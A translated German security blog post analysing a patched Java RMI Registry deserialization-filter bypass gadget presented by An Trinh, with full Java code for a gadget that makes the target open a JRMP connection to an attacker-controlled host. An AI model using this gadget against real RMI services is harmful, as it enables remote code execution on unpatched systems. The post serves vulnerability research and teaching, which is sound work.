An Trinhs RMI Registry Filter Bypass

Eine Analyse des von An Trinh auf der Blackhat Europe 2019 vorgestellten Java Gadgets zur Umgehung des RMI Registry Filters

Dies ist eine übersetzte Version. Das englische Original finden Sie hier.

TL:DR: Dieser Blogeintrag analysiert das Gadget zum Umgehen des RMI Registry Filters, welches von An Trinh (@_tint0) gefunden wurde. Er behandelt einige grundlegende Konzepte, die bei der Erstellung von Deserialisierungs-Gadgets häufig verwendet werden. Mit Hilfe dieses Gadgets ist es möglich, Deserialisierungsschwachstellen in der RMI-Registry auszunutzen, selbst wenn auf dem Ziel eine aktuelle Java/OpenJDK-Version läuft.

Update: Die Schwachstelle wurde von Oracle in JDK8u241, welches am 14. Januar 2020 veröffentlicht wurde, behoben. Danke an MR_ME für den Hinweis.

Das Gadget ist nicht allzu kompliziert, daher dient es als gutes Beispiel, um zu erklären, wie Gadget-Ketten intern funktionieren. Wir gehen davon aus, dass die Leser über grundlegende Kenntnisse im Bereich Java RMI und Java Deserialisierungsschwachstellen verfügen. Unser Artikel “Angriffe auf RMI Dienste nach JEP 290” bieten einen allgemeinen Überblick über RMI und dessen Komponenten.

Anmerkung

Wie bereits erwähnt, wurde die Lücke nicht von uns selbst, sondern von An Trinh entdeckt. Außerdem enthält dieser Beitrag eine Menge Java-Exploitation-Wissen, das ich durch die Zusammenarbeit mit Matthias Kaiser bei unserem früheren Arbeitgeber gelernt habe.

Einführung

Neben den häufig verwendeten Gadget Chains bietet das ysoserial Toolkit auch eine Reihe von Exploits für Dienste, die native Java-Objekte deserialisieren. Einer dieser Exploits zielt auf die RMI Naming Registry: Beim Aufruf der Registry-Methode “bind(name,object)” wird dabei eine Gadget-Chain an das Zielsystem übergeben. Dieses Exploit war ein recht zuverlässiger Weg um Systeme mit RMI basierenden Diensten zu kompromittieren.

Die Einführung der “Look ahead”-Deserialisierung in Java (über JEP 290) beinhaltete auch Allowlist-Filter für die RMI-Registry sowie den Distributed Garbage Collector (DGC), der ebenfalls von RMI verwendet wird. Diese Filter verhinderten die Ausnutzung dieser Schwachstellen (solange Angreifer keine weiteren Kenntnisse über die per RMI bereitgestellten Schnittstellen besassen).

Beide Filter sind Allowlist-Filter, die innerhalb der Datei “jre/lib/security/java.security” konfiguriert werden können. Der Filter für die RMI-Registry wird mit der Einstellung “sun.rmi.registry.registryFilter” konfiguriert. Die folgenden Einstellungen werden dabei standardmäßig gesetzt:

#
# Array construction of any component type, including subarrays and arrays of
# primitives, are allowed unless the length is greater than the maxarray limit.
# The filter is applied to each array element.
#
# The built-in filter allows subclasses of allowed classes and
# can approximately be represented as the pattern:
#
# sun.rmi.registry.registryFilter=\
#    maxarray=1000000;\
#    maxdepth=20;\
#    java.lang.String;\
#    java.lang.Number;\
#    java.lang.reflect.Proxy;\
#    java.rmi.Remote;\
#    sun.rmi.server.UnicastRef;\
#    sun.rmi.server.RMIClientSocketFactory;\
#    sun.rmi.server.RMIServerSocketFactory;\
#    java.rmi.activation.ActivationID;\
#    java.rmi.server.UID
#

2019 präsentierte An Trinh seine Arbeit auf diesem Gebiet auf der “Zero Nights”-Konferenz sowie der Blackhat EU. In seinem Vortrag stellte er auch ein Bypass-Gadget für den RMI-Registry-Filter vor. Seine BlackHat-Folien sowie die Präsentation auf der Zero Nights-Konferenz sind inzwischen frei verfügbar.

Filter-Bypass mittels JRMP Verbindungen

Bevor wir uns das eigentliche Gadget im Detail anschauen macht es Sinn sich die grundlegende Funktionsweise des Gadgets anzuschauen. An Trinhs Gadget erlaubt es, eine ausgehende JRMP-Verbindung zu einem vom Angreifer kontrollierten System herzustellen. Der JRMP-Endpunkt antwortet mit einem serialisierten Java-Objekt, welches von dem Zielsystem deserialisiert wird. Der Deserialisierungsfilter wird nur auf eingehende Verbindungen zur RMI-Registry angewendet, ausgehende Verbindungen werden hingegen nicht gefiltert.

Genereller Ablauf eines Bypasses mittels JRMP

Dies ist kein neues Konzept und wurde bereits in in der Vergangenheit verwendet um beispielsweise Filter in Bibliotheken wie SerialKiller zu umgehen. Ysoserial enthält bereits einen JRMPClient Gadget sowie den dazu passenden Listener.

Analyze der Gadget-Chain

An Trinhs Präsentation enthält nicht den eigentlichen Gadget Quellcode, auf Folie 20 findet sich aber die Gadget-Kette sowie ein paar zusätzlichen Kommentaren (die Zeilennummern wurden hier hinzugefügt):

01: sun.rmi.server.UnicastRef.unmarshalValue()
02: sun.rmi.transport.tcp.TCPChannel.newConnection()
03: sun.rmi.server.UnicastRef.invoke()
04: java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod()
05: java.rmi.server.RemoteObjectInvocationHandler.invoke()
06: com.sun.proxy.$Proxy111.createServerSocket()
07: sun.rmi.transport.tcp.TCPEndpoint.newServerSocket()
08: sun.rmi.transport.tcp.TCPTransport.listen()
09: ...
10: java.rmi.server.UnicastRemoteObject.reexport()
11: java.rmi.server.UnicastRemoteObject.readObject()

In Zeile 1 sehen Sie die erfolgreiche ausgehende Verbindung zu dem durch den Angreifern kontrollierten JRMP-Listener. Der Anfang der Kette befindet sich am Ende (Zeile 11) in der Methode “readObject()” der Klasse UnicastRemoteObject. Daher sehen wir uns diesen Code zuerst an:

private void readObject(java.io.ObjectInputStream in)
    throws java.io.IOException, java.lang.ClassNotFoundException
{
    in.defaultReadObject();
    reexport();
}

Das ist nicht viel Code. Die Methode “defaultReadObject()” verwendet die Standard-Deserialisierung, um die Objektproperties zu befüllen, danach wird die Methode “reexport” aufgerufen, welche auch der zweite Schritt in der Gadget-Chain ist (Zeile 10 im Stacktrace):

/*
* Exports this UnicastRemoteObject using its initialized fields because
* its creation bypassed running its constructors (via deserialization
* or cloning, for example).
*/
private void reexport() throws RemoteException
{
    if (csf == null && ssf == null) {
        exportObject((Remote) this, port);
    } else {
        exportObject((Remote) this, port, csf, ssf);
    }
}

Diese Methode führt ein Paar simple Prüfungen der Klassenproperties “csf” und “ssf” durch und ruft im Anschluss jeweils unterschiedliche Versionen der exportObject-Methode auf. Wir müssen uns also diese UnicastRemoteObject-Properties genauer ansehen. Hier die von uns kontrollierten Werte, wenn wir das serialisierte UnicastRemoteObject an unser Ziel übergeben:

public class UnicastRemoteObject extends RemoteServer {

    /**
     * @serial port number on which to export object
     */
    private int port = 0;

    /**
     * @serial client-side socket factory (if any)
     */
    private RMIClientSocketFactory csf = null;

    /**
     * @serial server-side socket factory (if any) to use when
     * exporting object
     */
    private RMIServerSocketFactory ssf = null;

    /* indicate compatibility with JDK 1.1.x version of class */
    private static final long serialVersionUID = 4974527148936298033L;

Die interessanten Variablen sind csf (Instanz von RMIClientSocketFactory) und ssf (Instanz von RMIServerSocketFactory). Diese beiden SocketFactories sind eigentlich Interfaces. Sie erlauben Entwicklern die Implementierung von RMI/JRMP über einen eigenen Kommunikationskanal, der beispielsweise Verschlüsselung bietet. Oracle stellt ein gutes Tutorial zur Verwendung dieser Socketfactories bereit.

Beide Interfaces erfordern jeweils nur die Implementierung einer einzelnen Methode. Im Falle des RMIServerSocketFactory-Interfaces muss die Methode “createServerSocket” implementiert werden. Eine solche Methode wird später innerhalb der Gadgetchain auf einem Proxy-Objekt aufgerufen (Zeile 6 im Stacktrace):

public interface RMIServerSocketFactory {

    /**
     * Create a server socket on the specified port (port 0 indicates
     * an anonymous port).
     * @param  port the port number
     * @return the server socket on the specified port
     * @exception IOException if an I/O error occurs during server socket
     * creation
     * @since 1.2
     */
    public ServerSocket createServerSocket(int port)
        throws IOException;
}

Erzeugen eines UnicastRemoteObject-Objekts per Reflection

Wir verwenden das bisher gesammelte Wissen um den ersten Teil der Gadgetchain zu erstellen. Wir wissen das wir ein UnicastRemoteObject an den RMIRegistry-Dienst übergeben müssen. Dieses Objekt muss eine speziell präparierte Instanz einer RMISocketFactory (als ssf Property) enthalten. Dabei haben wir jedoch zwei Probeme:

  1. Alle Konstruktoren der Klasse “UnicastRemoteObject” sind “protected”, wir können also nicht einfach eine entsprechende Instanz per “new” Aufruf erzeugen.
  2. “ssf” ist eine private Property, auf die nicht per getter-/setter-Aufruf Funktionen gesetzt werden kann. Es ist daher nicht direkt möglich eine bestehende Objektinstanz zu nehmen und das “ssf” Objekt darin auszutauschen.

Wir können diese beiden Probleme aber per Java Reflection lösen. Diese kann dazu verwendet werden um interne Eigenschaften eines Java-Programs einzusehen oder zu manipulieren.

Wir verwenden Java Reflection um:

  1. Eine Referenz auf den Standardkonstruktor von “UnicastRemoteObject” zu erhalten und diese im Anschluss als “public” zu setzen.
  2. Die im vorherigen Schritt erzeugte Referenz dazu verwenden eine neue Instanz von “UnicastRemoteObject” zu erstellen.
  3. Eine Referenz auf die interne “ssf” Property in dieser Instanz zu erstellen.
  4. Das interne Objekt durch eine von uns manipulierte Instanz auszutauschen.

Hier eine erste Version unserer “getGadget()” Methode:


// Step 1: Get the reference to the default constructor and make it "public"
Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
constructor.setAccessible(true);

// Step 2: Create a new UnicastRemoteObject instance from the reference
UnicastRemoteObject myRemoteObject = (UnicastRemoteObject) constructor.newInstance(null);
        
// Step 3: Get the reference to the private variable "ssf" and make it public
Field privateSsfField = UnicastRemoteObject.class.getDeclaredField("ssf");
privateSsfField.setAccessible(true);

// Step 4: Place the actual object in ssf (TODO: create the actual ssf object)
privateSsfField.set(myRemoteObject, handcraftedSSF);

Natürlich wäre es auch denkbar einen anderen Constructor als “public” zu setzen und diesem das entsprechende “ssf” Objekt beim Erzeugen der Instanz zu übergeben. Die beiden Schritte wurden aus Gründen der Verständlichkeit getrennt.

Proxies und dynamische Proxyklassen

Wenn wir uns nochmals den Stacktrace der Gadgetchain ansehen erkennen wir das als nächstes die Methode “createServerSocket()” aufgerufen wird. Wir können jetzt innerhalb der JRE sämtliche Klassen, welche eine Implementierung von RMIServerSocketFactory bereitstellen analysieren und uns dabei deren Code von “createServerSocket()” ansehen. Die Gadgetchain verwendet an dieser Stelle jedoch ein Proxyobjekt. Um zu verstehen was das bedeutet müssen wir erst kurz über das Proxy Design-Pattern sprechen:

Baelung liefert eine gute Einführung in dieses Designpatterns, welcher dort wie folgt zusammengefasst wird:

The Proxy pattern allows us to create an intermediary that acts as an interface to another resource

Schauen wir uns dazu ein Beispiel an. Die RMIServerSocketFacktory-Klasse erlaubt uns die Implementierung eines eigenen Transports für die RMI-Verbindung. Hierfür müssen wir nur eine Methode (createServerSocket) implementieren.

public interface RMIServerSocketFactory {
    public ServerSocket createServerSocket(int port)
        throws IOException;
}

Nehmen wir nun an, dass wir bereits eine eigene Implementierung für RMIServerSocketFactory verwenden, welche es uns erlaubt die Verbindung per symetrischer Verschlüsselung abzusichern. Wir nennen diese Klasse “EncrytedRMIServerSocket”. Die Klasse funktioniert super, wir stellen jedoch fest dass wir häufig den Standardschlüssel zum Verschlüsseln der Verbindung verwenden. Um das zu verhindern wollen wir einen einfachen Test implementieren, der sicherstellt das der Schlüssel geändert wurde.

So etwas ist ein typischer Anwendungsfall für einen Proxy. Wir erstellen eine Proxy-Implementierung, welche die eigentliche EncryptedRMIServerSocket" Klasse abschirmt. Da die Proxyklasse auch das “RMIServerSocketFactory” Interface implementiert könnnen wir diese einfach anstatt der ursprünglichen Klasse verwenden.

Wenn die createServerSocket Methode unseres Proxies aufgerufen wird testen wir den Schlüssel und leiten den Aufruf im Anschluss an das EncryptedRMIServerSocket Objekt weiter. Der Aufruf sieht in etwa wie folgt aus:

public class EncryptedRMIServerSocketProxy implements RMIServerSocketFactory {

    private EncryptedRMIServerSocket myServerSocket;

    // Constructor, takes the original EncryptedRMIServerSocket as argument
    public EncryptedRMIServerSocketProxy(EncryptedRMIServerSocket serverSocket) {
        this.myServerSocket = serverSocket;
    }

    // Wrapper Implementation of the createServerSocket method 
    public ServerSocket createServerSocket(int port) throws IOException {

        // Check if the socket is using the default key, if so bail out
        if (myServerSocket.key == myServerSocket.defaultKey) {
            throw new IOException("Usage of default key is not allowed");
        }

        // call the original method
        return myServerSocket.createServerSocket(port);
    }
}

Das manuelle Erstellen eines solchen Proxies führt zu einer Menge Boildercode. Zu unserem Glück erlaubt die Java Reflection API aber das Generieren von dynamischen Proxy-Klassen. Aus der offiziellen Java-Dokumenation:

A dynamic proxy class is a class that implements a list of interfaces specified at runtime such that a method invocation through one of the interfaces on an instance of the class will be encoded and dispatched to another object through a uniform interface.

Ein solcher dynamischer Proxy leitet alle eingehenden Aufrufe an die “invoke” Methode eines Invocation-Handlers weiter. Dieser Methode werden sowohl der Methodenname als auch die Argumente des ursprünglichen Aufrufs übergeben. Der Invocation-Handler leitet den Aufruf dann an das “verdeckte” Objekt weiter. Dieses Pattern wird auch von Java RMI selbst verwendet: Wenn der Client bei der RMI Registry nach einem Objekt fragt erhält er ein dynamisch erzeugtes Proxy-Objekt welches die Interfaces des angefragten Objekts implementiert. Der RMI-Invocation-Handler leitet die Anfrage dann an den eigentlichen RMI Server weiter.

Dynamische Proxies sind auch bei der Erstellung von Deserialisierungsgadgets nützlich, da sie die “Umleitung” eines Aufruf von einem beliebigen Interface an die “invoke” Methode eines Invocation-Handlers" erlauben.

Die Erstellung eines dynamischen Proxies erfolgt über die Methode “Proxy.newProxyInstance()”. Diese Methode akzeptiert drei Argumente:

  1. Der Classloader, der zum Laden der Proxyklasse verwendet werden soll.
  2. Ein Array von Interfaces, welche der dynamische Proxy implementieren soll (wir müssen hier nur RMIClientSocketFactory übergeben).
  3. Die Implementierung eines InvocationHandler, an den eingehende Methodenaufrufe weitergeleitet werden sollen.

Hier der entsprechende Code, wir behandeln den InvocationHandler im folgenden Abschnitt:

RMIServerSocketFactory handcraftedSSF = (RMIServerSocketFactory) Proxy.newProxyInstance(
    // Argument 1: the ClassLoader
    RMIServerSocketFactory.class.getClassLoader(),	
    // Argument 2: the interfaces to implement
    new Class[] { RMIServerSocketFactory.class },
    // Argument 3: the Invocation handler
    myInvocationHandler);

Die RemoteObjectInvocationHandler Klasse

Bewegen wir uns nun in der Gadgetchain eine Klasse nach oben und schauen uns die Klasse RemoteObjectInvocationHandler an. DIese Klasse bietet eine Implementierung des InvocationHandler Interfaces und kann daher als Empfänger für unsere DynamicProxy Klasse verwendet werden. Die Klasse ist zudem eine Erweiterung von “RemoteObject”, daher wird sie vom RMIRegistry Deserialisierungs-Filter ohne Probleme durchgewunken.

public class RemoteObjectInvocationHandler
    extends RemoteObject
    implements InvocationHandler

Die Aufgabe der RemoteObjectInvocationHandler.invoke() Methode ist das Weiterleiten eines Methodenaufrufs auf dem Client an das eigentliche Objekt auf dem RMI Server. Hierzu wird eine ausgehende JRMP Verbindung zum Server erzeugt. Die “invoke()” Methode ruft dabei die Methode “invokeRemoteObject()” auf. Die eigentliche JRMP Verbindung wird durc “ref.invok()” aufgebaut. Das “ref” Objekt beinhaltet die IP Adresse und den Port des Zielservers. Die Variable ist eine Instanz des RemoteRef Interfaces und beinhaltet die notwendigen Daten (IP/Port) in Form eines TCPEndpoint Objekts.

private Object invokeRemoteMethod(Object proxy, Method method, Object[] args) throws Exception
{
    try {
        if (!(proxy instanceof Remote)) {
            throw new IllegalArgumentException("proxy not Remote instance");
        }
        return ref.invoke((Remote) proxy, method, args, getMethodHash(method));
    } catch (Exception e) {
        if (!(e instanceof RuntimeException)) {
            Class<?> cl = proxy.getClass();
            try {
                method = cl.getMethod(method.getName(), method.getParameterTypes());
            } catch (NoSuchMethodException nsme) {
                throw (IllegalArgumentException)
                    new IllegalArgumentException().initCause(nsme);
            }
            Class<?> thrownType = e.getClass();
            for (Class<?> declaredType : method.getExceptionTypes()) {
                if (declaredType.isAssignableFrom(thrownType)) {
                    throw e;
                }
            }
            e = new UnexpectedException("unexpected exception", e);
        }
        throw e;
    }
}

Hinweis: die Methode prüft, ob der Proxy eine Instanz des “Remote” Interfaces ist. Wir müssen unser Proxy-Objekt entsprechend erweitern damit diese Bedingung erfüllt wird.

Das Erstellen einer RemoteRef Instanz ist recht einfach, wir können hier auf Code von Moritz Bechlers JRMPCLient Gadgetzurückgreifen können.

ObjID id = new ObjID(new Random().nextInt()); 
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

Finales Gadget

Wir haben nun sämtliche Teile die wir zum Erstellen des Gadgets benötigen:

  1. Erzeugen von neuen TCPEndpoint und UnicastRef Instanz. Die Instanz von TCPEndpoint beinhaltet die IP-Adresse sowie den Port des von den Angreifern kontrollierten JRMPListener, die UnicastRef Klasse implementiert das RemoteRef Interface
  2. Erstellen einer neuen RemoteObjectInvocationHandler Instanz, wobei unser RemoteRef Objekt an den Constructor übergeben wird
  3. Erzeugen eines dynamischen Proxies, welcher die Klassen/Interfaces “RMIServerSocketFactory” sowie “Remote” implementiert und alle eingehenden Aufrufe an den RemoteObjectInvocationHandler übergibt
  4. Erstellen einer neuen UnicastRemoteObject Instanz (per Reflection)
  5. Erlauben des Zugriffs auf die “ssf” Property (ebenfalls per Reflection)
  6. Setzen unseres Proxy-Instanz für die “ssf” Property unseres UnicastRemoteObjekts

Hier der vollständige Code des Gadgets:

public static UnicastRemoteObject getGadget(String host, int port) throws Exception {
		
    // 1. Create a new TCPEndpoint and UnicastRef instance. 
    // The TCPEndpoint contains the IP/port of the attacker
    // Taken from Moritz Bechlers JRMP Client
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry

    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef refObject = new UnicastRef(new LiveRef(id, te, false));
        
    // 2. Create a new instance of RemoteObjectInvocationHandler, 
    // passing the RemoteRef object (refObject) with the attacker controlled IP/port in the constructor
    RemoteObjectInvocationHandler myInvocationHandler = new RemoteObjectInvocationHandler(refObject);

    // 3. Create a dynamic proxy class that implements the classes/interfaces RMIServerSocketFactory 
    // and Remote and passes all incoming calls to the invoke method of the 
    // RemoteObjectInvocationHandler	
    RMIServerSocketFactory handcraftedSSF = (RMIServerSocketFactory) Proxy.newProxyInstance(
        RMIServerSocketFactory.class.getClassLoader(),	
        new Class[] { RMIServerSocketFactory.class, java.rmi.Remote.class },
        myInvocationHandler);

    // 4. Create a new UnicastRemoteObject instance by using Reflection
    // Make the constructor public
    Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
    constructor.setAccessible(true);
    UnicastRemoteObject myRemoteObject = (UnicastRemoteObject) constructor.newInstance(null);
        
    // 5. Make the ssf instance accessible (again by using Reflection) and set it to the proxy object  
    Field privateSsfField = UnicastRemoteObject.class.getDeclaredField("ssf");
    privateSsfField.setAccessible(true);

    // 6. Set the ssf instance of the UnicastRemoteObject to our proxy
    privateSsfField.set(myRemoteObject, handcraftedSSF);
        
    // return the gadget
    return myRemoteObject;	
}

Senden des Gadgets an die RMI Registry

Wir haben nun eine Implementierung des Gadgets, können es aber nicht direkt über einen Aufruf der “bind()” Methode an die RMI Registry senden. Der Code der Bind-Stub Methode (oder genauer die darin enthaltene ObjectOutput Instanz) würde unser Objekt durch einen eigene Proxy-Implementierung ersetzen. In diesem Fall würde unser Gadget daher nicht an die RMI-Registry gesendet werden. Dieses Verhalten wird über die “enableReplace” Property gesteuert, welche auf “false” gesetzt werden muss.

Wir können dieses Problem ebenfalls mit Hilfe von Relfection lösen, diese Aufgabe überlassen wir hier jedoch entsprechend motivierten Lesern. Hier der Code des eigentlichen Stubs:

public void bind(java.lang.String $param_String_1, java.rmi.Remote $param_Remote_2)
        throws java.rmi.AccessException, java.rmi.AlreadyBoundException, java.rmi.RemoteException {
    try {
        StreamRemoteCall call = (StreamRemoteCall)ref.newCall(this, operations, 0, interfaceHash);
        try {
            java.io.ObjectOutput out = call.getOutputStream();
            out.writeObject($param_String_1);
            out.writeObject($param_Remote_2);
        } catch (java.io.IOException e) {
            throw new java.rmi.MarshalException("error marshalling arguments", e);
        }
        ref.invoke(call);
        ref.done(call);
    } catch (java.lang.RuntimeException e) {
        throw e;
    } catch (java.rmi.RemoteException e) {
        throw e;
    } catch (java.rmi.AlreadyBoundException e) {
        throw e;
    } catch (java.lang.Exception e) {
        throw new java.rmi.UnexpectedException("undeclared checked exception", e);
    }
}

Es ist nicht direkt möglich, eine Instanz von java.io.ObjectOuptut zu erstellen, diese Einschränkung kann man aber ebenfalls per Reflection umgehen. Wir empfehlen beim Bauen des Codes die Verwendung einer “fastdebug” Version von OpenJDK, das macht das Debuggen des Gadgets/Exploits wesentlich einfacher (Danke an Matthias Kaiser für den Hinweis).


Danke an Janko Ferlič bei Unsplash für das Titelbild.